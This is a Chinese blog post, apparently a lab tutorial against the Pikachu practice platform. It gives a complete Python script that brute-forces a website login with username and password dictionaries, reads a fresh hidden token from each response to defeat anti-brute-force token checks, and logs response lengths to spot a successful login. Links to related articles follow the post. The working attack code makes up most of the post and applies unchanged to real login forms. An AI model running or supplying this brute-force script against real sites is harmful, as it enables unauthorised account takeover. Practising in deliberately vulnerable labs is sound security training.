Python脚本猜解网站登录密码(带token验证)
上一篇文章:一个简单的Python暴力破解网站登录密码脚本
测试靶机为Pikachu漏洞练习平台暴力破解模块下的 “token防爆破?”
春节期间歇了一阵子,吃睡玩看小说。写这个脚本的起因是因为burp设置带token的暴力破解我只会用pitchfork草叉模式,要是用cluster bomb集束炸弹模式笛卡儿积那样就不会了,所以就干脆把之前写的脚本加了点东西实现这个功能了,到时候有空再学学多线程,爆破速度就更快了。

关键代码解释
设置请求头
5~11行:指定url地址和请求头,user_token设置首次发送请求包时的token值。
url = "http://192.168.171.30/pikachu/vul/burteforce/bf_token.php"
user_token = '8680761fe979039a6f836599906'
header = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0',
'Cookie': 'PHPSESSID=17u0i2fakm84eq9oc24boc8715'
}
get_token函数获取token值
13~16行:这个函数返回从响应包中获取的token
在http响应包中有一个隐藏的标签里面有token值:
<input type="hidden" name="token" value="5874161fe8db950ca7993759020" />
第15行:soup.select查找标签名为input,name为token的元素的value的值。
def get_token(r):
soup = BeautifulSoup(r.text, 'html.parser')
user_token = soup.select('input[name="token"]')[0]['value']
return user_token
完整代码:
from bs4 import BeautifulSoup
import requests
from requests.models import Response
url = "http://192.168.171.30/pikachu/vul/burteforce/bf_token.php"
user_token = '8680761fe979039a6f836599906'
#proxies = {"http": "http://127.0.0.1:8080"} # 代理设置,方便burp抓包查看和调试
header = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0',
'Cookie': 'PHPSESSID=17u0i2fakm84eq9oc24boc8715'
}
def get_token(r):
soup = BeautifulSoup(r.text, 'html.parser')
user_token = soup.select('input[name="token"]')[0]['value']
return user_token
if __name__ == "__main__":
f = open('result.csv', 'w') #把爆破结果储存到文件里,这里为csv格式
f.write('用户名' + ',' + '密码' + ',' + '包长度' + '\n') #给文件设置标题
#遍历字典文件,Cluster bomb 暴力破解
for admin in open("C:\\Users\\admin\\Documents\\字典\\账号.txt"):
for line in open("C:\\Users\\admin\\Documents\\字典\\密码.txt"):
username = admin.strip()
password = line.strip()
payload = { #payload为POST的数据
'username': username,
'password': password,
'token': user_token,
'submit': 'Login'
}
Response = requests.post(url, data=payload, headers=header)
result = username + ',' + password + ',' + str(len(Response.text)) #用户名密码以及响应包长度
print(result) #输出到终端
f.write(result + '\n') #输出到文件
user_token = get_token(Response) #调用get_token函数获取下一次循环需要的token
print('\n---完成---\n')
f.close()
运行结果:

查看保存的文件,查看包长度与其他不一样的数据
这里csv不会显示前缀会自动去掉首位0,可以把文件改成txt格式就正常显示了

尝试登陆一下,登录成功。

Python脚本猜解网站登录密码(带token验证)的更多相关文章
- Python字典猜解
摘要 目标 使用Python破解WordPress用户密码 使用Python破解zip压缩包密码 思路 通过表单提交项构建数据包,使用字典中的可选字符进行逐一排列组合暴力破解WordPress的用户密 ...
- mysql的登录密码带特殊符号登录不进去的问题
eg : mysqldump -u root -p)P:9 ${dbname} > $dataPath$filename 当我将数据库的数据每天进行自动导出时,需要带上密码,但 ) 是一个特殊符 ...
- c#实现对登陆信息的反馈,实现对网站登录密码的扫描
最近发现我们学校的电信上网改密码的页面很简单,没有验证码,于是我就很好奇,后来发现原来是我们学校的电信的那个改密码的页面有漏洞于是就可以通过扫描账号免费上网 原理就是对修改密码的页面进行POST请求 ...
- Python脚本爬取网站美女照片
上次无意之中看到一个网站,里面全是美女的照片,我就心想,哪天有时间了得把这网站的所有美女照片都得爬下来.今天有时间,写了点代码,爬去了网站的所有照片.附上战果!图片实在是太多了,爬半个多小时 先附上所 ...
- Java带token验证的注册登录
http://blog.csdn.net/huqingpeng321/article/details/52900550 http://blog.csdn.net/l18710006370/articl ...
- vue登录注册及token验证
// router.jsimport Vue from 'vue'import VueRouter from 'vue-router' Vue.use(VueRouter) const routes ...
- Python Locust对指定网站“一键压测”
[本文出自天外归云的博客园] 前篇 前篇:Python Locust性能测试框架实践 本篇 承上——归纳过程 在前篇的基础上,我们可以利用Locust性能测试框架编写python脚本对指定网站或者接口 ...
- 使用python脚本批量设置nginx站点的rewrite规则
一般情况下,配置rewrite重写规则使用shell脚本即可: 把url拼凑成1,2文件中中的格式,运行 chongxie.sh 即可生成我们需要的rewrite规则 [root@web01:/opt ...
- 记录特殊情况的Python脚本的内存异常与处理
问题 Python 脚本使用 requests 模块做 HTTP 请求,验证代理 IP 的可用性,速度等. 设定 HTTP 请求的 connect timeout 与 read response ti ...
- WebLogic口令猜解工具【Python脚本】
WebLogic 默认端口7001 可以通过如下链接访问控制台 http://10.9.1.1:7001/console/login/LoginForm.jsp 写了一个简单的猜解脚本,半成品,做个记 ...
随机推荐
- c语言代码练习13
//打印九九乘法表#define _CRT_SECURE_NO_WARNINGS 1 #include <stdio.h> int main() { int x = 0; int y = ...
- MySQL 的 InnoDB 存储引擎简介
MySQL 是世界上最流行的开源关系型数据库管理系统之一,而其中的存储引擎则是其关键组成部分之一.InnoDB 存储引擎在 MySQL 中扮演了重要角色,提供了许多高级功能和性能优化,适用于各种应用程 ...
- 使用Java统计gitlab代码行数
一.背景: 需要对当前公司所有的项目进行代码行数的统计 二. 可实现方式 1.脚本:通过git脚本将所有的项目拉下来并然后通过进行代码行数的统计 样例: echo 创建项目对应的文件夹 mkdir 项 ...
- 毕业三年,月薪30K,我想跟你聊聊!
大家好,我是冰河~~ 很多读者私信问我,自己工作三年多了,随着工作年限的不断增长,感觉自己的技术水平与自己的工作年限严重不符.想跳槽出去换个新环境吧,又感觉自己的能力达不到心仪公司的标准,即使投了简历 ...
- SpringBoot如何缓存方法返回值?
目录 Why? HowDo annotation MethodCache MethodCacheAspect controller SpringCache EnableCaching Cacheabl ...
- Redis项目搭建
Redis项目搭建 Redis下载 搭建redis首先需要下载Redis,可是Redis官方并没有Windows安装,好在网上从不缺大牛,Github上可以找到Redis的Windows版 下载地址: ...
- dsBlog前后台博客系统
博客简介:本博客采用Spring Boot + LayUI做为基础,进行的博客系统开发,与boot+vue相比,更为适合开发简单的系统,并且更容易上手,简单!高效!更易上手! Spring Boot ...
- python内置模块——logging
内置模块-logging loging模块是python提供的内置模块,用来做日志处理. 日志等级: 等级 释义 级别数值 CRITICAL(fatal) 致命错误,程序根本跑不起来 50 ERROR ...
- JAVA学习week2
这周:根据老师在群里面推荐的JAV学习路线,初步规划了一下学习方案 并找到了相关的视频,目前来说在学习SE.学习内容:环境变量的配置和简单的hello world程序书写的注意点 下周:打算进行简单的 ...
- Net 高级调试之十一:托管堆布局架构和对象分配机制
一.简介 今天是<Net 高级调试>的第十一篇文章,这篇文章来的有点晚,因为,最近比较忙,就没时间写文章了.现在终于有点时间,继续开始我们这个系列.这篇文章我们主要介绍托管堆的架构,对象的 ...